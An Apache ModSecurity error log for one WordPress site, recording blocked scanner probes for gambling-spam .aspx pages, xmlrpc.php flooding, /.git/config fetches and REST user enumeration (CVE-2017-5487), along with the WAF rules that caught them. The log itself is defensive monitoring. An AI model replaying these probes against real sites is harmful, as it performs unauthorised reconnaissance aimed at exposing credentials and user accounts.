[Wed Feb 11 16:08:16.333743 2026] [:error] [pid 22537:tid 22553] [client 65.108.125.120:25276] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYw48Cfg2TagwM3bvQO_hQAAAU4"]
[Wed Feb 11 16:08:18.328022 2026] [:error] [pid 17401:tid 17424] [client 65.108.125.120:4330] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYw48g0lHeayTY40t34uRQAAARU"]
[Wed Feb 11 16:08:20.409036 2026] [:error] [pid 27965:tid 28006] [client 65.108.125.120:4340] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYw49NHLAUAIo8qpZyEXQQAAAEM"]
[Wed Feb 11 16:08:22.452347 2026] [:error] [pid 22537:tid 22561] [client 65.108.125.120:4350] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYw49ifg2TagwM3bvQO_igAAAVY"]
[Wed Feb 11 16:08:24.358249 2026] [:error] [pid 27964:tid 27977] [client 65.108.125.120:4352] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYw4-Mp0XgWYHLcQtEiM7AAAAAI"]
[Wed Feb 11 16:08:26.495730 2026] [:error] [pid 27966:tid 28050] [client 65.108.125.120:4366] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYw4-l8HJ9ydyf0SPu5xxgAAAJQ"]
[Wed Feb 11 16:08:28.536334 2026] [:error] [pid 28073:tid 28090] [client 65.108.125.120:23864] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYw4_IeHYIlOlF-DsMxvNAAAAM8"]
[Wed Feb 11 16:08:30.485664 2026] [:error] [pid 17401:tid 17405] [client 65.108.125.120:23868] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYw4_g0lHeayTY40t34uVgAAAQI"]
[Wed Feb 11 16:08:32.591006 2026] [:error] [pid 22570:tid 22605] [client 65.108.125.120:23872] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYw5ACE5uSe043FXwQoy8wAAAcU"]
[Wed Feb 11 16:08:34.607647 2026] [:error] [pid 27964:tid 27995] [client 65.108.125.120:23884] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYw5Asp0XgWYHLcQtEiNBwAAABQ"]
[Wed Feb 11 16:08:36.798336 2026] [:error] [pid 28073:tid 28090] [client 65.108.125.120:23896] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYw5BIeHYIlOlF-DsMxvXQAAAM8"]
[Wed Feb 11 16:15:36.664301 2026] [:error] [pid 28073:tid 28090] [client 83.166.155.159:57160] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYw6qIeHYIlOlF-DsMxyfQAAAM8"]
[Wed Feb 11 19:00:58.246198 2026] [:error] [pid 27964:tid 27996] [client 213.186.179.73:56224] [client 213.186.179.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.186.179.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxhasp0XgWYHLcQtEjGfwAAABU"]
[Wed Feb 11 19:09:08.117002 2026] [:error] [pid 22569:tid 22591] [client 62.192.188.82:53932] [client 62.192.188.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.192.188.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjVMAhSI7iX9G3engjugAAAZI"]
[Wed Feb 11 19:09:14.279415 2026] [:error] [pid 28073:tid 28083] [client 193.202.110.17:40754] [client 193.202.110.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjWoeHYIlOlF-DsMy-qQAAAMg"]
[Wed Feb 11 19:09:21.621202 2026] [:error] [pid 22570:tid 22607] [client 129.226.82.190:36936] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjYSE5uSe043FXwQpiewAAAcc"]
[Wed Feb 11 19:09:51.448994 2026] [:error] [pid 27966:tid 28051] [client 188.34.181.211:36486] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjf18HJ9ydyf0SPu6lyQAAAJU"]
[Wed Feb 11 19:10:02.112876 2026] [:error] [pid 17401:tid 17412] [client 203.162.234.20:51476] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjig0lHeayTY40t35ZrAAAAQk"]
[Wed Feb 11 19:10:18.561737 2026] [:error] [pid 28073:tid 28094] [client 217.154.179.111:43082] [client 217.154.179.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.179.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxjmoeHYIlOlF-DsMy_CAAAANM"]
[Wed Feb 11 19:38:37.050673 2026] [:error] [pid 27965:tid 28011] [client 200.152.177.24:57328] [client 200.152.177.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYxqPdHLAUAIo8qpZyFXogAAAEg"]
[Wed Feb 11 19:43:15.555573 2026] [:error] [pid 27966:tid 28047] [client 164.90.139.61:32842] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYxrU18HJ9ydyf0SPu6wAAAAAJE"]
[Wed Feb 11 19:43:18.226260 2026] [:error] [pid 22570:tid 22620] [client 164.90.139.61:50364] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYxrViE5uSe043FXwQpr6QAAAdQ"]
[Wed Feb 11 20:21:35.959751 2026] [:error] [pid 27964:tid 27986] [client 194.164.162.69:53764] [client 194.164.162.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.162.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx0T8p0XgWYHLcQtEjhEwAAAAs"]
[Wed Feb 11 20:40:32.992710 2026] [:error] [pid 22569:tid 22589] [client 34.58.57.37:60169] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4wMAhSI7iX9G3eng6qQAAAZA"]
[Wed Feb 11 20:40:37.949582 2026] [:error] [pid 22569:tid 22588] [client 34.58.57.37:60169] [client 34.58.57.37] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYx4xcAhSI7iX9G3eng6rwAAAY8"]
[Wed Feb 11 20:40:39.476706 2026] [:error] [pid 22569:tid 22584] [client 34.58.57.37:60169] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4x8AhSI7iX9G3eng6sQAAAYs"]
[Wed Feb 11 20:40:41.494393 2026] [:error] [pid 27964:tid 27987] [client 34.58.57.37:56388] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4ycp0XgWYHLcQtEjmoQAAAAw"]
[Wed Feb 11 20:40:43.422859 2026] [:error] [pid 27964:tid 27979] [client 34.58.57.37:50480] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4y8p0XgWYHLcQtEjmogAAAAQ"]
[Wed Feb 11 20:40:45.470945 2026] [:error] [pid 27964:tid 27982] [client 34.58.57.37:64632] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4zcp0XgWYHLcQtEjmpAAAAAc"]
[Wed Feb 11 20:40:47.508759 2026] [:error] [pid 27965:tid 28016] [client 34.58.57.37:65132] [client 34.58.57.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.57.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4z9HLAUAIo8qpZyFphQAAAE0"]
[Wed Feb 11 20:40:47.508936 2026] [:error] [pid 27965:tid 28016] [client 34.58.57.37:65132] [client 34.58.57.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.58.57.37, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx4z9HLAUAIo8qpZyFphQAAAE0"]
[Wed Feb 11 21:00:54.098656 2026] [:error] [pid 27965:tid 28025] [client 128.199.26.217:56512] [client 128.199.26.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.26.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYx9htHLAUAIo8qpZyFt-wAAAFY"]
[Wed Feb 11 21:32:04.021159 2026] [:error] [pid 27966:tid 28036] [client 164.90.139.61:39976] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYyE1F8HJ9ydyf0SPu7LowAAAIY"]
[Wed Feb 11 21:32:08.913899 2026] [:error] [pid 28073:tid 28088] [client 164.90.139.61:36670] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYyE2IeHYIlOlF-DsMz6RgAAAM0"]
[Wed Feb 11 22:25:50.140358 2026] [:error] [pid 27966:tid 28045] [client 15.237.97.48:35698] [client 15.237.97.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.237.97.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyRbl8HJ9ydyf0SPu7XXQAAAI8"]
[Wed Feb 11 23:12:01.527594 2026] [:error] [pid 27964:tid 27986] [client 211.169.178.4:32021] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYycQcp0XgWYHLcQtEgPcQAAAAs"]
[Wed Feb 11 23:23:30.071427 2026] [:error] [pid 22569:tid 22575] [client 104.28.222.46:23798] [client 104.28.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYye8sAhSI7iX9G3enha7gAAAYI"]
[Wed Feb 11 23:23:44.236862 2026] [:error] [pid 27965:tid 28014] [client 200.45.208.164:53062] [client 200.45.208.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.45.208.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyfANHLAUAIo8qpZyGPCgAAAEs"]
[Wed Feb 11 23:24:03.968219 2026] [:error] [pid 28073:tid 28096] [client 34.56.225.211:52810] [client 34.56.225.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.56.225.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyfE4eHYIlOlF-DsMwi1QAAANU"]
[Wed Feb 11 23:24:09.143197 2026] [:error] [pid 28073:tid 28077] [client 62.192.188.82:36980] [client 62.192.188.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.192.188.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyfGYeHYIlOlF-DsMwi3AAAAMI"]
[Wed Feb 11 23:27:31.910652 2026] [:error] [pid 22570:tid 22607] [client 20.251.205.66:13858] [client 20.251.205.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aYyf4yE5uSe043FXwQqf0gAAAcc"]
[Wed Feb 11 23:27:33.022663 2026] [:error] [pid 27965:tid 28004] [client 20.251.205.66:2606] [client 20.251.205.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aYyf5dHLAUAIo8qpZyGQLQAAAEE"]
[Wed Feb 11 23:27:34.087150 2026] [:error] [pid 28073:tid 28085] [client 20.251.205.66:20800] [client 20.251.205.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aYyf5oeHYIlOlF-DsMwkIwAAAMo"]
[Wed Feb 11 23:27:35.153310 2026] [:error] [pid 28073:tid 28092] [client 20.251.205.66:2982] [client 20.251.205.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aYyf54eHYIlOlF-DsMwkJQAAANE"]
[Wed Feb 11 23:53:30.177736 2026] [:error] [pid 27964:tid 27984] [client 138.201.62.99:50260] [client 138.201.62.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.62.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyl-sp0XgWYHLcQtEgbbgAAAAk"]
[Thu Feb 12 00:42:46.106586 2026] [:error] [pid 49094:tid 49140] [client 91.201.52.111:39524] [client 91.201.52.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.201.52.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYyxhuUgUVJo2a1h94W0qQAAAM4"]
[Thu Feb 12 01:25:11.533016 2026] [:error] [pid 49093:tid 49121] [client 185.74.81.105:51052] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYy7dwYzxX9Zu4qZ-D1_zAAAAFc"]
[Thu Feb 12 01:49:08.663169 2026] [:error] [pid 49180:tid 49194] [client 43.164.197.177:48338] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYzBFHD8wAezUtqGiU5rYQAAAUw"]
[Thu Feb 12 02:10:10.941080 2026] [:error] [pid 59768:tid 59781] [client 138.201.62.99:39434] [client 138.201.62.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.62.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzGAi1wUqEWhF_w6UGwQwAAAAs"]
[Thu Feb 12 02:51:15.582670 2026] [:error] [pid 49094:tid 49149] [client 164.90.139.61:49638] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYzPo-UgUVJo2a1h94XbDwAAANc"]
[Thu Feb 12 02:51:18.235528 2026] [:error] [pid 49093:tid 49113] [client 164.90.139.61:42476] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYzPpgYzxX9Zu4qZ-D2ZIAAAAE8"]
[Thu Feb 12 02:53:00.257220 2026] [:error] [pid 49095:tid 49172] [client 160.238.36.197:38614] [client 160.238.36.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.36.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzQDIDzbTIrmslQGKT50QAAARM"]
[Thu Feb 12 03:27:06.620051 2026] [:error] [pid 57533:tid 57581] [client 43.130.31.17:43800] [client 43.130.31.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYzYCsBMbk5EwuXt4ZeszQAAAEY"]
[Thu Feb 12 03:42:39.724045 2026] [:error] [pid 57532:tid 57547] [client 206.189.189.76:59642] [client 206.189.189.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.189.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzbr4fDW9Kql6FLJIMsnQAAAAU"]
[Thu Feb 12 03:56:38.719514 2026] [:error] [pid 57533:tid 57588] [client 164.90.139.61:41728] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYze9sBMbk5EwuXt4Ze4lwAAAEw"]
[Thu Feb 12 03:56:48.570261 2026] [:error] [pid 57532:tid 57546] [client 164.90.139.61:43870] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYzfAIfDW9Kql6FLJIMxigAAAAQ"]
